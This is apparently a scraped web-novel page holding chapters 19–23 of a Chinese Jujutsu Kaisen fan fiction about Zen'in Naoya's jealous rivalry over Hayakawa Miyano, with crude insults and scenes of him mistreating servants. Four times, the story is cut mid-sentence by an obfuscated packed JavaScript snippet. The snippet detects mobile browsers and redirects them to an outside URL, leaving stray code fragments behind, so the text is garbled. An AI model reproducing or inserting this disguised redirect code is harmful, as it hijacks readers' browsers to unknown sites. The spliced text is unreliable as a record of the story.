更不可言语的,是他赤裸的上身被早川宫野画上了类似于水珠一样的白色东西。 禅院直哉胳膊也不酸了,腿也不痛了。他恶狠狠的转过身,眯起琥珀色的瞳孔:“早川宫野!你又……” “这次绝对没有。” 早川宫野快速打断,一口否定。 “如果是工口画的话,我怎么可能还会画裤子呢对不对?” 她指着画里的下身:“直哉君之前见过也是知道的,工口画是只有上衣或者领带作为装饰,但一定是不会遮住下面的,况且——” 早川指尖上移,对着上身和脸部画了一个圈。 “其实直哉君也不得不承认,我把腹肌和脸画的非常完美吧?” “……” 禅院直哉依然皱着眉,却不置可否。 的确是非常健硕蓬勃的肌肉,线条很流畅且立体,把他脸部表情的细节抓到的很巧妙。 ——就是要那种藐视一切,居高临下的姿态才能衬托的出他的气质啊。 “那这里是怎么回事。” 禅院直哉指的是他肌肉以及胸膛上若有若无的水滴状液体。 如果抛开水滴单看,倒还真不错。只不过加了这种莫名其妙的东西,又配上赤裸的上身和张开的双腿…… 为什么总感觉像一个荡.妇被一群人围在中间,而身上的水滴是——— “嘁……算了,还行吧也就。” 禅院直哉几乎要被自己恶心的想法恶心到了,他快速暂停这个不切实际的想法,把画稿抛给早川。 “好好收着知道吗,这可是禅院未来家主给你的恩赐。” “当然。” 早川宫野卷起画稿,笑道:“我一定会好好保存的,嗯……只不过有一点,我可以把这张画给我的好友们欣赏吗?” “哈?” “只是想让她们看看直哉大人漂亮的脸庞和完美的肌肉而已,之前有提过,我很仰慕直哉君,所以她们很好奇。” 不过是一些臭鱼烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616723|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虾的庸俗之辈而已,想拿他的身份去撑撑场子。这种场景直哉已经见惯不惯了,他漫不经心的摆摆手,走下榻榻米。 比起这个,他比较在意的是早川宫野居然还有朋友? 刚来禅院的时候一副烂乞丐的模样,这种人居然还会有朋友吗? “你还有好友?什么时候的事,私塾认识的吗?” “没进禅院之前的普通好友罢了。” 早川宫野正在低头整理画笔,他拢着袖口,淡淡哦了一声。 几秒后,他移开眼,又问道:“男的女的?” “什么男的女的?” 早川宫野明显没听他在说什么,等到稿子和笔收拾的差不多了,才后知后觉直起身。 “噢……好友吗?男的女的都有吧,女孩子应该多一些。为什么突然问这个?” 早川笑道:“这应该和我们画稿没有什么关系吧。” 禅院直哉不喜欢别人反问他,尤其还是听见早川模棱两可的“应该”。 他讥笑一声,藐视的眼神上下扫视:“想什么呢,没脑子吗?不过是作为未来家主,询问一下下属的情况罢了。我可不想到时候看你赖在禅院不走,还和一些不三不四的搞在一起。” 如果直哉真当上了家主,她作为禅院的人被称为下属也的确没什么问题。 “真是说话不客气呢直哉君。”早川宫野无奈摊摊手:“还以为是担心我会不会和其他人走的太近,从而减少对直哉君的喜欢呢。” “你?我会担心?哈……就算是脱光了站在男人面前,也没有哪个男人愿意碰你吧,少放……” “是的哦。” 早川宫野打断他的话,眯起褐色的瞳孔,语气轻柔:“就算有男人脱光了站在我面前,如果不是直哉君,我是看都不会看一眼的呢。” “只有是直哉,我的眼睛、我的视线、我的身体、我全部的心——” “才会毫无保留的交付出去哦。” “……” ———这个该死的……!! 禅院直哉已经说不出话来了。 因为他的脸已经开始爆红了。 “……别突然又自顾自的开始告白啊!” 他咬住下唇,直着脖子,耳根已经开始发烫。 早川宫野到底——— 会不会看场合说话啊!! 20.第二十章 五月末,彼时正值盛夏。 禅院直哉刚从外面回来,随手脱下羽织扔给跟随的侍女。 “热死了……” 京都的夏季一如既往的炙热,直哉拢住袖口,向后看了一眼手忙脚乱的侍女:“快点,你难道想让我在大太阳底下站着等你吗?” “非、非常抱歉!” 侍女低下头,不敢看他。 惹到直哉少爷不开心是一件非常棘手的事情的。从幼年一直到现在,每一次侍女们令他不快后都会被恶劣的接受或轻或重的处罚。 比如端着盘子跪在门口,直哉少爷会命令盘中的水不可倾斜。或者走慢了走快了,直哉少爷会罚她们站在太阳底下半个小时,自己则自顾自的离开。 抱着衣服的侍女弯着腰,垂下头。明明烈日当空,却因为紧张而手指冰凉,完全感受不到炙热。 禅院直哉看着侍女发白的指尖,嗤笑一声转过身,走了。 他并未处罚那名侍女,纯属是因为今天心情不错的缘故。 ———或者说,禅院直哉最近这段时间心情都很不错。 甚至前段时间有一个侍女打碎了一个茶壶,直哉也只是挑眉心情不错的看着侍女长批评那名小侍女,最后还是直哉淡淡开口说算了,不过一个茶壶而已。 回家后的直哉快速洗了个澡。因为下午还有私塾课,中午午餐和休息的间隔时间很短。直哉吃完饭后,就走到了衣帽间。 “少爷需要休息一下吗?早上很早就出去了。” 侍女端来茶,放在桌上。直哉站在一排满满当当的衣柜前,单手抵着下巴。他没有回答侍女的问题,而是拉起一件羽织的袖子,看向她。 “这件我什么时候穿过?” “回少爷,是前天训练结束后换下的。” 直哉松开手,又拉起另一件,眼神示意。 “回少爷,是四天前去见家主大人穿过的。” “这件是昨天晚上您说太热换下的。” “这件是两天前去外出穿的。” “这件是上周天下午……” “啧。” 禅院直哉微蹙起眉,隐约之间几分烦躁。 “怎么都穿过了,我还有别的没拿出来的羽织吗?” 侍女看着满满当当一柜子快要塞不下的衣服,沉默片刻后说道:“剩下的都是去年的款式了,如果直哉少爷需要,我现在就去后柜里拿……” “去年的?” 直哉坐下身,拿起已经放温的茶杯,目露鄙睨地睇了侍女一眼:“谁会穿去年的旧款,你连这点都不懂吗?” 禅院直哉的衣服都是定制的,每一件都做工极其精细,故而制作的时间非常长。偏偏唯一最近没穿过的,就是那件纯黑色的暗色羽织。 那件一个月前,在早川宫野家里换下、还被迫让他张开双腿绘画的羽织。 啧…… 禅院直哉移开眼,垂眸抿着手中的茶。 那天从早川家离开后,本意是想要给她一个教训所以故意好几天没理她。一开始早川还会若无其事的和他说话,给他递糕点。 在第十五天的时候,禅院直哉本来想原谅她的,只不过恰好那天早川没来上课,后面几天他又很忙,所以就一直等到快一个多月了,才把事情处理结束。 很显而易见的吧,因为被他冷落忽视了,所以不敢来上课见他。 哈……不知道是不是躲在家里抱着他的画像,一个人躲在被子里悄悄哭呢。 似乎想到高兴的地方了,禅院直哉翘起的脚尖有节奏的一点一点敲击着桌腿。 “少爷穿什么都是非常合身好看的。” 侍女察言观色,察觉到他心情不错了,立刻说道:“上一次见早川小姐已经是一个月前的事情了,早川小姐也是没有见过少爷穿这些衣服的。” ———啊……说的也是呢。 况且像早川宫野这种文盲,估计也分不清到底是暗金纹付还是中羽织吧。毕竟是个连襻搏都不会绑的蠢女人, “如果少爷不太想看见早川小姐的话,下午的私塾课就请假吧。最近一直都在外面,想必少爷也没有休息好吧,倒不如下午……” “谁说我要请假了?” 直哉从茶杯中抬头,扫了她一眼:“去把我那件翠竹紋付拿过来。” 几秒后,像是后知后觉反应过来似的,面色骤然冷了下来:“还有你刚才说什嚒,想死吗?我穿什么衣服难道是为了给早川那个蠢货看的?” “抱、抱歉!” 侍女立刻跪地,弯着腰。禅院直哉冷笑一声,把茶杯扔到她面前,起身越过她。 去私塾的路上,禅院直哉走的很快。 但是快到教室的距离时,又徒然放慢速度,一副漫不经心若无其事的样子。 “你们晚上不用过来。”他向身后的侍女说道。这么久没见早川,肯定又会拉着他表白好一会吧。 禅院直哉已经勾起若有若无的笑意,懒散的耷着眼皮,手放在教室的门上。 ———不知道早川看见他,会是什么样的表情呢。 会开心到眼泪都要掉下来吧,却因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620948|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为人多自卑和胆怯,无法真正的向他表达心意,所以只能怯怯地坐在桌子前搅着手,眼底对他浓烈的爱欲却几乎要喷涌而出。 只能默默强装镇定的和他假意打招呼,却暗地里对他做一些恶心的事情,以此来缓解对他的爱意。 禅院直哉拉动一点门,迈出一只脚。 ———说不定在无法看见他的这一个月里,在某个夜深人静的夜晚,会看着他的画像,悄悄安慰自己吧。 虽然很恶心,不过那种糟糕的画面倒也是新奇的很呢。 毕竟早川就是一个对他有着病态爱恋的人啊…… 禅院直哉拉开教室门,像是主宰者一般,眼神睥睨的扫视着正在打闹的旁系。 一瞬间的沉寂后,果然如他所料,所有的旁系都涌上来。 “直哉大人!好久不见,听说您去东京了?” “直哉少爷直哉少爷,这是家父想要给您的东西,最近天气炎热,您辛苦了!” “直哉大人,我也有……!” ——还真是像苍蝇一样吵啊… 禅院直哉并未搭理,而是目光远远的扫过后排。他下意识看向自己后面的座位,上面放了书,人却不见。 出去了? 他眯了眯瞳孔,推开几个高个子挡住视线的旁系。 终于在教室的左侧角落里,看见了她。 直哉弯了弯唇,走过去。 有一点期待了呢… 看见他的那一刻会是什么样的表情呢……突然上前抱住他?还是眼神呆滞到蓄满泪水? 不管哪一个,他都会露出讥笑不屑的眼神耻笑她哦? 直哉走近了她,早川宫野背对而坐,手里似乎在翻动摆动着什么。 早川宫野没有第一时间在前排打招呼的队伍里已经让他有些许不悦了。直到他越来越近,一步一步越来越近。 在距离五米的距离,禅院直哉听见了早川宫野的笑声。 “这样会不会太奇怪了诶?不过我觉得如果是玩偶或者男仆装的话,会更可爱的。” “男仆吗……唔,如果早川小姐想看的话,我也可以穿的……啊!是直哉君来了呢。” 在禅院直哉自己都没有察觉的时候,他已经站在早川宫野身后了,膝盖快要紧贴着她的后背。 他嘴角的笑意霎时消失,取而代之的,是紧抿的嘴唇以及阴沉的脸。 禅院直哉看着早川宫野手里初见雏形的画稿,以及早川面前和他问好的男人。 这小子…… ———又是他妈的谁啊!? 21.第二十一章(1k加更) 禅院直哉坐在座位上,一点课没听进去。 教室里的冷气很足,钢化的玻璃很好的隔断外界一切燥热和杂音,除了讲课的粉笔声外,几乎可以用安静来形容。 禅院的私塾本身只是走一个形式,午后的犯困使后排很多学生昏昏欲睡,有的甚至直接把头枕在胳膊上,侧着脸睡着了。 往常的直哉也会加入这个行列,但并不是睡觉,而是放在课桌上翻看漫画书,或是桌蹚下玩switch。 而今天的直哉,什么也没做。 唯一有区别的,是他的后背离早川宫野的桌子很近,几乎是完完全全贴上去的。仔细看的话,头部似乎也向后仰了仰,耳朵也像是要听什么一样向右侧了侧。 以至于面前空出来好大一块。 禅院直哉环抱着手臂,脸色却不怎么好。 因为从刚才到现在,前段时间还一副喜欢他喜欢到要死的早川宫野———突然不和他说话了。 倒也不是那种拒绝沟通的不说话,而是他明明都站在她身后了,结果早川只是抬头看了他一眼,露出一个笑意后,又低下了头对着画稿涂涂改改。 反倒是早川对面那个面生的旁系神色不错的和他有一搭没一搭的聊着。 “搞什么啊……” 想到对方突然冷漠的态度,禅院直哉自言自语了一句。讲台上的老师停顿片刻后,声音更大的掩盖了他。 他眯了眯眼睛,紧紧抿着唇。 明明都给她那么好的主动和他搭话的机会了,结果还在画手里那副破画吗? 甚至只是对他笑一下? 现在连“直哉君”“早上好”之类的礼貌用语都不喊了吗? “嘁……” 似乎想到不悦的点了,禅院直哉发出烦躁的声音。讲台上的老师把头埋的更低了,语速都快了。 ———和一个卑贱的旁系有什么好聊的? 哈……该说不愧是早川宫野吗?旁系配私生女,果真是贱配贱合适的很啊。 一如既往的编排本来是可以让他愉悦些的,禅院直哉想要扯出一个讥讽的笑,动了动嘴角却发现自己更烦了。 烦躁到身体都开始燥热起来。 之前靠在早川的桌子上还可以听见她在做什么,今天却听不见一点声音。 偏偏自己又坐在前面。早川宫野这个贱人……不会借着去厕所和那个旁系单独出教室了吧!? 突然被扰乱原本正常节奏的一切,这无亚于一份满分的试卷却在有一天变得一片空白。 突然一反常态的没有露出温顺的笑容主动和他说话;突然看见他却没有打招呼;突然和一个之前完全没有联系的旁系关系不错的闲聊起来;突然在上课一点声音都没有———哪怕都的耳朵都要快完全面向身后了,不管是画笔的声音还是漫画的翻页,一点声音都没有。 哪怕是对于,在这段关系里占据主导权的禅院直哉,也会下意识的对于未知且脱离掌控的事焦躁起来。 以至于此刻的直哉,迫切的想要知道早川宫野现在究竟在干什么。 几秒的停顿后,禅院直哉看着面前毫无字迹痕迹的课本,突然直起身,向后转去。 像是怕被对方误会似的,掩盖性的比口中说出的话,更先一步伸出了手,漫不经心道:“橡皮擦借……” 一句话没说完,禅院直哉说不出口了。 庆幸的是早川宫野并没有和谁偷偷出去,也没有继续画一些奇怪的东西。 而是此时此刻的早川宫野,正手掌撑着脑袋,一脸祥和的看着坐在她左侧桌子上的那名旁系。 准确来说,是那名卷起衣袖,不知道什么时候解开领口两颗扣子,都露出了锁骨的旁系。 她完全不加掩饰的、十分直白且大胆的注视着。 唇边是若有若无轻佻的笑意。 而那位旁系像是没有察觉一般。又是正襟危坐挺直了腰板,露出白皙的脖颈佯装听课记笔记。又是大开的领口,隐约之间可以看见男人鼓起的胸脯以及锁骨。 时不时伸手抵住下颚,听课时候睫毛轻颤。伴随着的是早川宫野欲来欲上下扫视、眯起的瞳孔。 直哉:“……” 早川宫野… ———这个该死的! 满脑子只有黄色废料的蠢货!! 禅院直哉的眉心都快碾死一只蚂蚁了,尤其是早川宫野看入迷了都还没有发现他,依然撑着脑袋一副懒懒散散的样子。 他面无表情,从袖口伸出手,手心握拳猛地锤击了一下早川宫野的桌面。 【砰——】 桌面发出震声,早川宫野被吓的惊了一瞬,回过神。 “聋子吗?把你的橡皮擦给我。” 看见被吓到了早川的直哉嗤笑,还没等早川宫野伸手递给他,禅院直哉已经拿过她桌上的橡皮,转过身时还威胁性的斜睨了她一眼。 但预想到的恶趣味成功并没有给禅院直哉带来一丝快感。 他的指尖碾着橡皮,指甲一上一下掐入着。 甚至不知道自己又想了什么,呼吸越来越沉重,琥珀色的眼眸也越来越暗淡。 贱人。 好色且蠢上天的贱女人——! 蠢货!贱货!下三滥的臭婊…… …… “啧……” 直哉烦躁,手里的橡皮已经被指甲掐成碎末,一点一点落在教室的地板上。 * 早川宫野正在发呆。 文化课很无聊,上课很无聊,什么都很无聊。 无聊无聊无聊无聊无聊,每天都非常无聊。 日常就是一起上课,偶尔下课后会碰到直哉君。一开始早川还没发现禅院直哉去东京了,还是某个旁系和她说的时候才突然意识到的。 不过也只是意识到了几秒,毕竟有没有直哉君她的安闲生活都没有太多变化。 虽然少了一些乐趣,不过乐趣依然会源源不断的找上她。 毕竟乐趣就是她创作的灵感啊…… 禅院直哉不在的这段时间,早川能明显感觉到和她交流的同班同学变多了。 记忆中有一个旁系似乎和她关系不错,但早川没记住他的名字。 身材不错,脸也不错。 虽然比直哉差些,不过稍微拿来当素材参考一下还是可以的。况且那名旁系居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633543|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还说可以给她穿男仆装。 男仆吗…… 早川宫野若有所思。 嘶,这么一说她可来精神了。 虽然没记住旁系的名字,但是旁系有肉是真露啊。 正想着,早川宫野抬起头看向旁系。 恰到好处的白色衬衫,解开了两颗黑色的小扣子。卷起的衣袖可以看见流畅的肌肉线条。不同于禅院直哉的明显,却给人一种柔和的美感。 早川宫野侧了侧身子,干脆撑着脑袋看他。 领口被翻的很低,发丝也有几根翘起来的凌乱,配上时不时抬头看黑板的动作,显得既迷糊又有些可爱。 早川宫野缓缓叹息一声。 啊…倒真的有些像在雨里被淋湿的小蘑…… 【砰——!】 什么东西撞击的声音突然响起,震的早川撑着脑袋的头差点滑下来,讲台上老师并未停下,她转过身,对上禅院直哉的眼神。 琥珀色的,不悦的眼神。 甚至最后还带了些许警告威胁的意味,拿走她的橡皮擦后就继续背对着她。 早川宫野不明所以,继续撑着头看旁系,脑子里画着人体结构。 一直到下课,早川宫野才松下身来,准备开始收拾东西离开。 “早川大人。” 坐在左侧的旁系看向她,露出一个恰到好处的微笑,伸出手递给她一块东西。 “我这里有多一块橡皮擦,刚才早川大人把橡皮借给直哉君了吧?不介意的话可以……” 的确是需要的,她每天绘画消耗最多的就是橡皮。早川正准备开口,一个熟悉且冷漠的声音打断他。 “杂碎——谁允许你直呼我名的?”禅院直哉拉长了语调,居高临下带着几分压迫的意味。 “啊,抱歉,我只是听其他人都这么喊的……早川大人请不要生气。” “喂,你是蠢货吗?关早川宫野什么事。哈……你是哪家的旁系,这么蠢也能被送进来吗?” “是滋贺,说起来也是和早川大人有缘,之前大人也去过那个地方呢。” “嘁……赶紧滚行吗,挡住我光了。” “需要我去开灯吗禅院大人。” 旁系笑意盈盈,直哉隐忍怒气。 早川宫野看着一来一回对话的两个人,沉默了。 怎么突然……两个人吵起来了。 最终迫于直哉的压迫,旁系叹息一声,在露出灿烂的微笑和早川告别后,离开了。 空荡荡的教室里,只剩下早川与直哉两人。 早川宫野已经收好了东西,准备离开之际还是想要拿回自己的橡皮擦。 她伸出手,缓缓开口:“直哉君,我想问一下我的橡……” 手指还没碰到禅院直哉的肩膀,对方唰的一声站起身。 与上课时猝不及防的转身一样,琥珀色不悦的瞳孔,只不过此时此刻更加黯淡阴沉。 仅仅两秒后,禅院直哉像是恶狠狠的剐了她一眼后,头也不回大步走出教室。 只剩下不明所以的早川宫野站在原地:“……” 嗯?? 到底又怎么了啊? 22.第二十二章 日落黄昏,残阳斜斜的照在两侧灌木丛不知名的花上。 端着盘子的侍女一开始还有说有笑,在看清来者后纷纷驻足,屈身行礼。 禅院直哉走的很快。 他半耷着眼皮,看似面无表情却嘴唇抿成一条线下垂着,琥珀色的瞳孔没有一丝亮光。 他一脚踹开大门,没等侍女上前替他褪下外衣,直直走进屋子。 替他准备换衣的侍女走到门口,左脚刚踏进屋内,一只碧绿的茶杯砸到门框上。 瓷器瞬间崩裂,茶水洒了一地。 “滚!” 直哉不悦。后排的侍女把腰弯的更低了,前排的侍女捡起地上的碎片后,倒退着离开。 屋内只剩下直哉一个人,他面朝着窗户,像是在压抑着什么一样,沉沉吸了一口气。再睁眼时,注视着的是窗外隔着好几户宅院外的褐色砖瓦。 那座褐色砖瓦的院子,是早川宫野现在住的地方。 “贱女人……” 禅院直哉眯了眯眼睛,低语道。 这才小一个月没见,上次走了一个松下,这次又来了一个不知名的旁系。 今天看见他来为什么不和他打招呼?为什么不和他说话? 为什么没有像那些蠢货一样第一个围上他抢着要见他?为什么都等到放学了,早川还不和他说话?为什么看见他走了不追出来向他解释? 明明他都故意放慢速度了。 更过分的是…… 到底一直和那个旁系在说些什么啊? “该死……”禅院直哉捶击了一下窗台,胸口的起伏越来越大。 该死的早川,该死的旁系! 一个小地方出来的旁系还敢和他顶嘴就算了,关键还一副和早川关系很好的样子,五句话四句不离早川宫野。 就是在他去东京参加五条成人礼这段时间,早川和那个旁系认识的吧? 偏偏上课时,旁系那个崽种还故意卷起袖子,露出脖颈和锁骨,生怕早川看不清一样,身下的蒲团还侧坐了坐。 禅院直哉素来只知道女人勾引人有一套,倒不知道旁系一个大男人,搞这些下三滥引诱人的功夫倒也是恶心的很。 房间里,直哉走到落地镜前。 他先是定定的看了自己一会,在确认脸部依然完美无瑕后,双手插在羽织的纽带中,开始脱衣服。 直到衣物全部褪下,上身赤裸。镜子里男人结实的肌肉,宽肩窄腰。腹部的肌肉线条流畅且紧致。 多受于直哉从小被精心服伺的缘故,出门有人打伞,在家有人扇风。身上肌肤的颜色格外白皙。 禅院直哉看着镜中的自己,放宽了眉眼,逐渐扬起笑意。 嘛……怎么看都比旁系那个蠢货要好上一万倍吧。 就那么点肱二头肌,除了和他一样皮肤白的之外,只怕一拳都接不住吧。 “就那么点功夫,也好意思出来卖色相吗?” 直哉嗤笑一声,对着镜子又是看看前面又是走远看看背部,显然对自己的身体非常满意。 脑子里又浮现出早川上课时心不在焉撑着脑袋一脸祥和的观察旁系的眼神。眼睛都快眯成一条缝了,嘴角的笑意还牢牢的挂在上面。 “蠢女人……”直哉的嘴角猛地下沉:“到底在一脸祥和个什么劲啊?” 乡里来的私生女就是废物,什么货色都能看上几眼吗? 不过—— 禅院直哉游离了一下瞳孔,思绪有些放空的看着镜子的右下角。 ———早川宫野这个蠢货…… 应该是能看得出来旁系那个崽种是在故意勾引她的吧? 故意到袖口都卷到那么高了,还特意解开了两颗扣子,上课时故意作出迷糊似懂非懂恶心的动作,有时候还会苦恼的抓抓头发,每一个看似漫不经心的动作其实都别有心机。 正常有人性的男人是绝对不会想到这些的吧! 门口的敲门声响起,直哉站在原地淡淡嗯了一声。 “直哉少爷,可以准备用晚膳了。” 侍女垂着眸,耳根发红。 “知道了。” 直哉随手披了一件外衣,坐在榻榻米上。侍女拉开门,端着盘子的下人纷纷有序进来。 用膳的时候很安静,除了勺子碰撞瓷器的清脆声外,几乎没有人开口说话。 一直到直哉结束,挥了挥手,下人们才安静有序的离开。 为首的侍女给直哉泡了一壶茶,按照惯例完成一系列后站起身,正准备关上门时。 “我有白色的衣服吗?” 侍女长微愣,抬眸看向榻榻米上的直哉。他一只脚踩在榻榻米上,斜撑着身体。吃饱喝足后的直哉像一条黑色小蛇,懒懒地盘着身体缩在席上。 以为侍女没听清楚,他抬了抬下巴,又问了她一遍:“我有白色的衣服吗。” “回直哉少爷。” 侍女立刻双手交错下垂,低下头微微弯腰:“因为少爷不太喜欢亮色,所以………并没有很多。不知道直哉少爷要什么样子的?羽织、内搭、还是衬衣?” “……” 禅院直哉不语,好半晌后,他才挥挥手,表情有些烦躁的让她下去了。 一直到深夜,禅院直哉很晚才睡。 次日,一如既往的、侍女来敲门,洗漱,用餐,更衣。 所有进行的一切,禅院直哉都并无过多表情,直到侍女长从衣帽间走出来。 “直哉少爷,请问今天准备穿哪一套?这里有一件黑色的和一件——” 侍女举起右边的手:“和一件白色的。” 在她说出“白色”的那一刻,侍女长能明显感受到直哉少爷琥珀色的瞳孔亮了一瞬,手中喝茶的动作都停在半空。 以及—— 隐约之间似笑非笑的嘴角,尽管很快就被禅院直哉强压下去,取而代之的继续是与刚才寻常无异漠然的表情,漫不经心的说道:“哦,那件白色的好像很久没穿了吧?” “回少爷,是的。而且最近少爷一直都穿的暗色的羽织,或许可以今天换一件?” 说的也是呢…… 直哉不急不慢,抬手倒了一杯茶。 只是因为最近一直都穿着暗色的衣服,所以偶尔换件衣服,也是情理之中的事情吧? 毕竟白色的羽织也是非常常见的款式,绝对不是因为想要和谁攀比故而才突然穿亮色的羽织的。 直哉放下茶杯,视线在黑白中穿插,像是难以抉择一样,最终带着几分惋惜朝白色的那件扬了扬下巴。 穿戴整齐后的直哉看着镜子,这件是他两三年的羽织了,虽然是旧款,但上面的花纹却并不俗套。上身是白的纯色,下身是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639675|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑色纹路象征武士精神的银雅之章,由下至上慢慢渐变过渡。 禅院直哉对着镜子前后看了好几圈,弯起的嘴角像是在告诉所有人他心情不错。 和旁系那个崽种相比,这种重金制作的羽织绝对比廉价的白色衬衫要好看不知道多少倍吧。 一直到出门抵达私塾,直哉都心情不错的微挑起眉。 这种情绪在私塾门口停下。 刚才过来的时候,他已经透过窗户的间隙看见早川宫野坐在里面。虽然不知道在干什么,但那个方向,大约是在和旁系家的小子聊天。 一种莫名紧张又带着些许诡异期盼的情绪在禅院直哉心底蔓延,紧随而至的是耳鼓传来稍重的心跳声。 他伸手整理了一下自己的衣领,扬了扬下巴,手放在拉门上。 等一下… 直哉偏了偏头,似乎想了些什么,再抬眸时,他抬起手,把羽织内的内衬左右扯松了些。 他力度不轻,再加上心跳声又很嘈杂,像是头昏脑胀一样。一开始还只是小幅度轻轻拽着,但伴随着心跳声越来越大,一股莫名的攀比心促使他逐渐大力的拉扯起来。 以及一种怪异的占有欲也油然而生。 那种迫切的、非常突然的、一瞬间的,他想要占据早川宫野全部的视线。 禅院直哉想要早川宫野全部的视线只看着他。 “哈……等着吧,一群蠢货…” 直哉看不见自己的领口看的有多大,虽然在外观上白色依然整洁慎重,但如果稍微向下看一点,就可以看见他毫不遮掩的喉结以及锁骨。 甚至在弯腰或坐下时,可以看见他宽松内衬上的胸肌。 直哉扬起一抹势在必得的笑意,单手拉开教室的门。 一如既往的,气氛组一样的前排热情的和他打招呼,这一次直哉没有忽视,而是有意无意挑选着敷衍了几句。 最终越过众人,直直的走向早川宫野。 与其说是走向早川宫野,倒不如说视线却落在那名旁系身上。 因为从他第一眼进教室时的余光,就已经看见早川宫野上下打量他的目光和眼神了。 “早上好呀,直哉君。” 熟悉的声音又回来了。 这一刻似乎比禅院直哉任何战斗中的爽感都要刺激,他甚至可以感受到早川宫野为了刻意讨好他,而格外的添加了一个语气词。 “嗯。” 他从鼻翼中发出一个单音,只是淡淡的扫了她一眼,就继续上挑着眼尾看旁系。 面容姣好的男人脸上已然有些挂不住,他僵硬了好一瞬,才露出与昨天无异的微笑:“早上好,直……禅院大人。” “呵……” 他讥笑一声,看着旁系的瞳孔既挑衅又不屑。 禅院直哉的每一个眼神都似乎在无声的宣告着,他赢了。对手露出残缺的面具和一瞬间的僵硬就是对他最好的回馈。 那一瞬间的心情舒畅几乎让他要扬起嘴角。 直哉像抓到猎物的狐狸一样眯起眼睛,语气悠然如华丽的咏叹调。 “是你啊,噢……对了,你叫什么来着?乡里来的旁系。” 这一次,是笑意盈盈的禅院直哉和隐忍怒意的旁系。 以及向后靠坐在桌子上,正转着笔,饶有兴趣默默注视着正在雄竞中两人的早川宫野。 23.第二十三章 铅笔在指尖转动,画着圈打转着。 早川宫野的眼前,两个人还在一言一语的阴阳怪气着什么。 早川并不急着开口,只是挑眉似笑非笑的看着禅院直哉。 很难不注意到他吧?突然一改之前的穿衣风格,昨天离开时突然对她恶劣的语气,以及像是有些刻意的被扒拉开领口的内搭。 早川宫野的视线停留在禅院直哉耳畔的发丝上,黑色的发尾看上去很柔软,侧面的角度刚好可以看见对方高挺的鼻梁、明显的下颚,以及——— 啊…… 早川宫野的视线停留住。 直哉君的喉结……很大呢。 像核桃一样噢?说话时上下的幅度特别明显。穿衬衫扣最上面那颗扣子时,都会有点硌得慌的程度了吧。 明明之前封建的跟个处男一样,噢不对……他本来就是处男。明明之前封建到穿羽织都是高领,老老实实系到最上面一颗扣子。结果今天却穿着交错领,还是和昨天旁系一模一样颜色的羽织吗。 其实这个时候,再隐晦也有些不言而喻了吧。 早川宫野再是蠢货,多多少少也能猜到一些。 更何况早川不是蠢货。 就像一个人,从来没有设想过会消失或者离开他的某一样东西,他对这个东西有着绝对的信任、依赖和自信。他义无反顾的认为,手中所抓住的一切永远只会是他的。 但在某一个这份自信崩塌,或是他一直信赖的东西突然坏掉,一股强烈的失落感和反差感会如同潮水一样猛地向他袭来。直至使人猝不及防,从而失去理智,做出一些违背本心的行为。 但恰恰这种濒临崩溃的“本心”,却是最具有乐趣的。 观察一个健全的人格一步步走向深渊,直至麻木、认可、顺从,对于早川宫野来说是一件十分具有挑战性且有趣的一件事。 教室里,直哉和旁系还在针锋相对着,只不过现在是直哉占据了上风。 早川宫野饶有兴趣的单手抵住脑袋,注视着他。 在这一场隐形性的战场中,成功占据上风样子的禅院直哉很有趣。 他会毫无保留对你的唾弃,高昂起的下颚,滚动的喉结,坐下时下意识挺直的脊背。以及居高临下,平等轻蔑在场的每一个人时不屑的表情。 因为禅院直哉的脸实在太好看了,不管什么表情都让她觉得别有一番风味。只不过直哉各种讥笑嘲讽的表情,她已经有些看腻了。 比起这种每天都可以看见的表情,她更想看一点不一样的哦。 已经想看禅院直哉这张永远傲气的漂亮脸蛋上,被做出那种恶劣事情后,会是什么糟糕的表情了呢…… “喂——” 眼前的声音打断早川的思绪,她掀了掀眼皮,缓缓看向禅院直哉:“嗯?” “你从刚才开始就一直看着我吧?那种黏湿湿的视线……啧,很恶心啊。” 